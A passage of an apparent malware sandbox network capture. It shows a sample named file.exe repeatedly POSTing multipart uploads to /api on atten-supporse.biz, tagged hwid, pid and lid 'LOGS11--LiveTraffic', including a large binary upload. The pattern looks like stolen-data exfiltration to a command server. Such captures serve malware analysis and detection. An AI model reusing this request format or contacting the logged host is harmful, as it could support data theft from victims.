name="pid"2--LTGLW19FPXOGO35RContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-10 05:38:08 UTC	1025	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 05:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ol4vfal4ta9jmc4mmpnmjuj8o0; expires=Fri, 04-Apr-2025 23:24:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qppgIQi64iNN4%2Fy2ESNt4XNhx%2BMsVwHiWaWpujknmnvo0vQAO584TTGwU7qZ1kcP%2BpNdCZda3MWw7hSfOsvPAiw5Z9cQE7c%2FUI%2BQR4k3kMiK5XGINjx%2FKLwTXWga8AqxuUzqxRQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efae30e0fc20f89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1468&min_rtt=1465&rtt_var=556&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13793&delivery_rate=1958417&cwnd=235&unsent_bytes=0&cid=b34a52633866c1df&ts=1177&x=0"
2024-12-10 05:38:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 05:38:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49711	104.21.112.1	443	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:10 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XG49JNN6PC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15063 Host: atten-supporse.biz
2024-12-10 05:38:10 UTC	15063	OUT	Data Raw: 2d 2d 58 47 34 39 4a 4e 4e 36 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 31 34 34 32 30 44 41 46 34 35 34 44 36 38 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 58 47 34 39 4a 4e 4e 36 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 47 34 39 4a 4e 4e 36 50 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 47 34 39 4a 4e 4e 36 50 43 0d 0a 43 6f Data Ascii: --XG49JNN6PCContent-Disposition: form-data; name="hwid"014420DAF454D68D23D904AF30EFEBBC--XG49JNN6PCContent-Disposition: form-data; name="pid"2--XG49JNN6PCContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--XG49JNN6PCCo
2024-12-10 05:38:11 UTC	1024	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 05:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ijvj47b2m0vh8jj5t5118euq9l; expires=Fri, 04-Apr-2025 23:24:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UmZZfEelRimY%2FQsXj5twiP%2FSaXZbF3%2Bnocrm0iRuzN6Z2ybgO731voInQRxLBiJ0ziexwpO%2Fg3ubfTweKR3CC9d5KCvyFEFeo4iR9vJjcUyNOpTGFfAe2tgC%2BbCdUYcQnCwxu7w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efae31dbf1ade98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1464&min_rtt=1453&rtt_var=568&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15997&delivery_rate=1887524&cwnd=208&unsent_bytes=0&cid=eb6b75d163bdc288&ts=1224&x=0"
2024-12-10 05:38:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 05:38:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49713	104.21.112.1	443	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:12 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ACTY3M5Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19909 Host: atten-supporse.biz
2024-12-10 05:38:12 UTC	15331	OUT	Data Raw: 2d 2d 41 43 54 59 33 4d 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 31 34 34 32 30 44 41 46 34 35 34 44 36 38 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 41 43 54 59 33 4d 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 41 43 54 59 33 4d 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 43 54 59 33 4d 35 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --ACTY3M5QContent-Disposition: form-data; name="hwid"014420DAF454D68D23D904AF30EFEBBC--ACTY3M5QContent-Disposition: form-data; name="pid"3--ACTY3M5QContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ACTY3M5QContent-Di
2024-12-10 05:38:12 UTC	4578	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-10 05:38:13 UTC	1025	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 05:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gf4qii5p3n98eduia2tcu6dl5n; expires=Fri, 04-Apr-2025 23:24:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0UWuc7326djnvBV9kPKuVSb5L0HwrEh5ODtsjmge8Q9hjWBr5WO7D2lxbinz4ll%2BYmJTvc7Me01pxqft99Jb4Bcoss7fN5bLk91QFQ%2F%2FtnULcrStvK%2B%2FzFKrvhIrW66joC%2B5GnA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efae32eba7f433d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1572&rtt_var=607&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=20863&delivery_rate=1778319&cwnd=252&unsent_bytes=0&cid=8ac77aae53e822b1&ts=845&x=0"
2024-12-10 05:38:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 05:38:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49719	104.21.112.1	443	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:15 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=62LDCWSGM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1185 Host: atten-supporse.biz
2024-12-10 05:38:15 UTC	1185	OUT	Data Raw: 2d 2d 36 32 4c 44 43 57 53 47 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 31 34 34 32 30 44 41 46 34 35 34 44 36 38 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 36 32 4c 44 43 57 53 47 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 32 4c 44 43 57 53 47 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 32 4c 44 43 57 53 47 4d 0d 0a 43 6f 6e 74 65 6e Data Ascii: --62LDCWSGMContent-Disposition: form-data; name="hwid"014420DAF454D68D23D904AF30EFEBBC--62LDCWSGMContent-Disposition: form-data; name="pid"1--62LDCWSGMContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--62LDCWSGMConten
2024-12-10 05:38:16 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 05:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n26lern3k24h97p8s54ij4540h; expires=Fri, 04-Apr-2025 23:24:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Evdg5SiOPwd779ac4DMU6mIKFTg9e51H5urzj2djA1uhyMs%2Bjh%2Blp3DvCzuNPnHkcZHsPgAUqcF9GtjcR8BEjtncvUGU8zR2XNNljLROC9gZztnjStvGx2FiU41AJEEAh0yZBYY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efae33f992841e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1604&rtt_var=632&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2095&delivery_rate=1820448&cwnd=202&unsent_bytes=0&cid=17c322b9ae230a7b&ts=1009&x=0"
2024-12-10 05:38:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 05:38:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49720	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2f 65 41 6e 65 36 46 66 75 55 2b 61 61 41 63 59 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 64 39 38 62 37 63 62 62 34 64 61 39 39 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: /eAne6FfuU+aaAcY.1Context: 6dd98b7cbb4da99a
2024-12-10 05:38:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 05:38:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2f 65 41 6e 65 36 46 66 75 55 2b 61 61 41 63 59 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 64 39 38 62 37 63 62 62 34 64 61 39 39 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 67 4a 59 77 59 34 45 59 34 31 54 63 37 6f 44 46 66 66 66 6b 58 6f 59 50 44 35 66 7a 77 75 2f 44 44 66 79 32 62 32 71 66 45 32 41 2b 42 54 32 6a 73 4c 62 31 50 4a 78 6b 71 43 6f 68 50 69 6b 65 6f 43 6b 70 69 61 42 50 72 6d 67 79 62 76 56 32 34 34 71 79 58 78 4d 38 65 6e 39 5a 33 46 58 6a 58 63 72 43 6f 76 4a 72 67 51 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: /eAne6FfuU+aaAcY.2Context: 6dd98b7cbb4da99a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4gJYwY4EY41Tc7oDFfffkXoYPD5fzwu/DDfy2b2qfE2A+BT2jsLb1PJxkqCohPikeoCkpiaBPrmgybvV244qyXxM8en9Z3FXjXcrCovJrgQ4
2024-12-10 05:38:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2f 65 41 6e 65 36 46 66 75 55 2b 61 61 41 63 59 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 64 39 38 62 37 63 62 62 34 64 61 39 39 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: /eAne6FfuU+aaAcY.3Context: 6dd98b7cbb4da99a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 05:38:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 05:38:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 52 69 4a 78 4e 6a 76 52 52 6b 69 2f 65 76 71 44 4d 31 35 4d 78 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: RiJxNjvRRki/evqDM15MxQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49726	104.21.112.1	443	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:18 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WMDK7J8Q46P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551629 Host: atten-supporse.biz
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: 2d 2d 57 4d 44 4b 37 4a 38 51 34 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 31 34 34 32 30 44 41 46 34 35 34 44 36 38 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 57 4d 44 4b 37 4a 38 51 34 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 4d 44 4b 37 4a 38 51 34 36 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 57 4d 44 4b 37 4a 38 51 34 36 50 Data Ascii: --WMDK7J8Q46PContent-Disposition: form-data; name="hwid"014420DAF454D68D23D904AF30EFEBBC--WMDK7J8Q46PContent-Disposition: form-data; name="pid"1--WMDK7J8Q46PContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--WMDK7J8Q46P
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: b5 67 b9 86 8d 91 8f db 07 24 d3 7e 55 ba 0d 57 0a 7e 7a 8b 8c 70 d9 10 31 81 fb 69 76 2e c7 33 ea 4f 56 ac f9 fe d8 54 e9 06 cb 39 9d 66 8a 5f 52 d8 a5 5f bc 4d aa ad 12 da 0b e0 c6 44 6f c2 94 81 94 e0 d5 a8 e6 6a 4d c4 4c 61 23 b4 79 09 cc 22 b7 46 a3 88 9d ad 0d c2 ea 27 5d 92 32 8b a6 fd b2 46 7d 29 75 0f 57 4e 7e 3e 01 92 d3 c3 b8 d4 e7 a0 ef 59 91 6e 83 8c 7b 60 81 ab 3e 56 8d 3e 2b 09 be b3 4b 39 ff ce b1 d6 ad f4 c0 2b de 25 bd 32 f0 9a 7f 53 b1 11 96 3f cd b7 a9 29 8f ee d2 82 6b 03 f6 45 43 0c 34 6b 26 a9 56 67 84 90 6f 07 36 7f a3 4c 49 e0 d9 fc 85 0b ec e7 63 9d 13 06 9a df 94 eb d9 a8 c6 ed 88 f9 9f 65 53 5e 2a 29 a5 b4 ca cf 96 ed 60 29 b4 bb ff dd 71 46 12 fa ca 7d 8e b3 de db a1 d7 52 0b 83 05 c5 ff 77 fb e4 c2 15 e6 c4 61 65 29 13 90 9c Data Ascii: g$~UW~zp1iv.3OVT9f_R_MDojMLa#y"F']2F})uWN~>Yn{`>V>+K9+%2S?)kEC4k&Vgo6LIceS^*)`)qF}Rwae)
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: be 50 d7 c7 aa 8e d0 8a 0d 67 4b 86 06 b5 be f0 3c a9 40 1c 08 89 99 fe fe 35 cb 03 38 14 d8 47 44 f4 11 cf 1a 4b 78 08 34 a5 50 31 0f b7 83 83 04 17 c6 98 1f e7 c2 3e c9 f1 6c bb e5 7e b3 d3 86 46 c4 5e 39 10 0a b1 92 ca 6f 2c b4 0d 19 2f 62 89 8a c1 31 1a ad 7b 64 2e 01 8b 37 3b be f3 87 a7 f5 bb 3f 18 b7 d7 6e 18 4d 17 77 db 3e b7 f5 f8 aa 31 5d cb 6a a9 7d e3 33 a4 a1 42 23 63 e1 ee 41 96 ca 34 23 af 4a bb 9a 5e 1f fd 3d 2f 68 de 79 fa a9 63 da d3 e0 11 69 f1 37 56 b6 be 56 db b5 36 5b d7 11 94 51 5a e3 27 71 c7 7d 6f 62 48 ed 71 60 66 40 31 c2 0d c3 80 b8 76 a2 54 f7 b9 3e 7b f3 b5 24 6b 15 2c e9 e2 16 86 6e a3 c1 b0 24 00 81 01 ff 02 9a e0 64 9a 86 3d 58 6a 68 51 71 d5 06 bf 2a 7f af 2f 41 e4 1e 4c 45 52 58 07 d0 c3 2d 70 15 b8 fd 8b a6 7d 13 a1 22 Data Ascii: PgK<@58GDKx4P1>l~F^9o,/b1{d.7;?nMw>1]j}3B#cA4#J^=/hyci7VV6[QZ'q}obHq`f@1vT>{$k,n$d=XjhQq*/ALERX-p}"
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: 90 e8 ef 7f eb 5e 16 e2 50 24 b2 e7 92 e2 b0 fa 37 40 d8 4b b4 c4 bc c4 12 bf 4c ca 2d 70 83 33 3f a1 25 af 5d 42 71 e5 dc d0 0e 11 d6 8f a0 36 18 e9 89 01 ca 7d 27 e6 a6 8a 2c f5 e6 92 8a 56 91 e8 1c bf fc 32 9c 64 68 b0 f0 0d ef 56 2a 40 db 87 b1 ee ff 8e 8a 71 e6 65 4e 6d 64 1e ce 7f bd de dd 0a 5c 3c df 4a 80 f0 a2 53 e1 4b ed 79 bf 32 ee dd 68 63 db 76 0a d8 f6 7b b2 65 7b 52 84 8c 93 8d a6 22 9d 0d 49 32 59 f2 45 25 80 55 16 79 d1 17 b7 69 24 b4 30 5d be a0 28 71 4a c6 c2 26 c4 93 e7 50 4e cb 04 c8 c5 e7 c7 23 f8 8d 63 49 b3 db a7 df ec e3 d4 a2 4a db 3d c1 33 da d7 c6 ec dc a0 c4 6e 1f 02 37 9e ab ca 84 2b 8d d0 cf ea 6b a2 b2 16 8b 0f d1 ca 25 58 8a 22 7b d6 1a 1e 11 2f 4c 72 df 69 4d ba 6b 10 24 df b6 d5 db b7 ad f3 b7 51 a8 fb 59 6f 8b 29 03 62 Data Ascii: ^P$7@KL-p3?%]Bq6}',V2dhV*@qeNmd\<JSKy2hcv{e{R"I2YE%Uyi$0](qJ&PN#cIJ=3n7+k%X"{/LriMk$QYo)b
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: 9d 36 2f 5d 6b 8d 27 b9 c3 06 35 99 d3 d1 8f ea 90 90 cf c3 33 37 48 a4 d6 6b f3 91 93 bd 12 5a 24 1b 12 3d 39 45 84 2d 52 7b 76 01 13 f0 da 3f 82 3a bd 67 f6 a1 96 b0 a9 c1 5a ef 4d c1 cd 9d d6 dd e3 9d ce 1d 7a 89 20 d8 2a 15 66 2b 73 1b be 21 92 4b 8e 0d 59 38 44 1c 6d 71 68 dc 0d a2 f4 a5 5a b7 76 aa cd 29 20 96 75 a1 3f b1 7f fa a5 0e f8 d1 db 10 a3 ca 79 2f a3 d4 14 9b f0 4c 75 d1 97 27 39 36 8b f6 2d 52 9f 49 6a d7 67 7f fe 53 48 cd 78 89 5a b3 7e d7 71 c3 32 a5 54 34 bd bd a1 84 77 3e 8d 3a 75 c5 2e 71 de 8f d7 90 b7 57 2a d0 3a 20 92 b2 4c 5c f5 2a d1 df 9e b8 7c 85 77 ef 6a d5 40 f0 c0 d9 19 d8 ef 4e 7f 09 c7 3c a7 6a 42 78 0a 46 94 c0 bd 49 42 1a 04 f4 bf 87 bb 9e ce 3a 23 79 d0 a4 07 ed 52 e5 53 ab 8b 30 6d ed cd 81 33 f2 8d 79 af e7 e9 8f 3a Data Ascii: 6/]k'537HkZ$=9E-R{v?:gZMz f+s!KY8DmqhZv) u?y/Lu'96-RIjgSHxZ~q2T4w>:u.qW: L\*\|wj@N<jBxFIB:#yRS0m3y:
2024-12-10 05:38:18 UTC	15331	OUT	Data Raw: 16 89 38 1d f7 e0 e8 8d 1b bd 08 40 ba aa 75 6f 88 72 4c 95 38 59 c2 a6 30 5b 99 e0 50 20 0b b6 0e 0c c7 40 b9 02 e0 4b 76 57 d1 6a 3a a4 ef 0c 58 e2 a4 24 34 2a 37 ad 11 c4 ca 8b 02 f9 3f 2f 71 f2 40 96 19 fb e4 67 ec 14 0e 36 6b c7 81 7c 7d 54 74 b2 95 81 43 a9 50 e0 50 44 6e 1a 5f 34 72 18 8d 99 b5 ae a1 cd 91 16 6c e1 46 1e 62 27 60 63 3b 0f 7c cc d7 a8 76 39 8b bc 20 00 ff b2 cc ad 4d ae ba c4 29 f9 88 3d 4d 17 16 bb 2c 10 f3 7d 74 e7 cc e5 67 96 f2 bd 17 a6 ec d1 b1 bc 19 4d 53 6a a6 ac 7e ba 06 e6 3f af d5 bd 37 81 8f fd 80 68 72 2b a8 9b ad 6b bc e6 32 88 77 c7 c2 1b d9 7d f7 dc 0f 8c ca c1 91 8a a4 33 00 99 e0 15 17 03 b9 dc ab 7e 63 63 1f 48 57 89 a4 13 14 8a 1c b2 0b 3b 2e 0a 62 0e ed b6 c2 93 11 8a 4a b5 d3 b0 5e 45 7d a3 d6 74 90 a2 67 ca 1b Data Ascii: 8@uorL8Y0[P @KvWj:X$4*7?/q@g6k\|}TtCPPDn_4rlFb'`c;\|v9 M)=M,}tgMSj~?7hr+k2w}3~ccHW;.bJ^E}tg
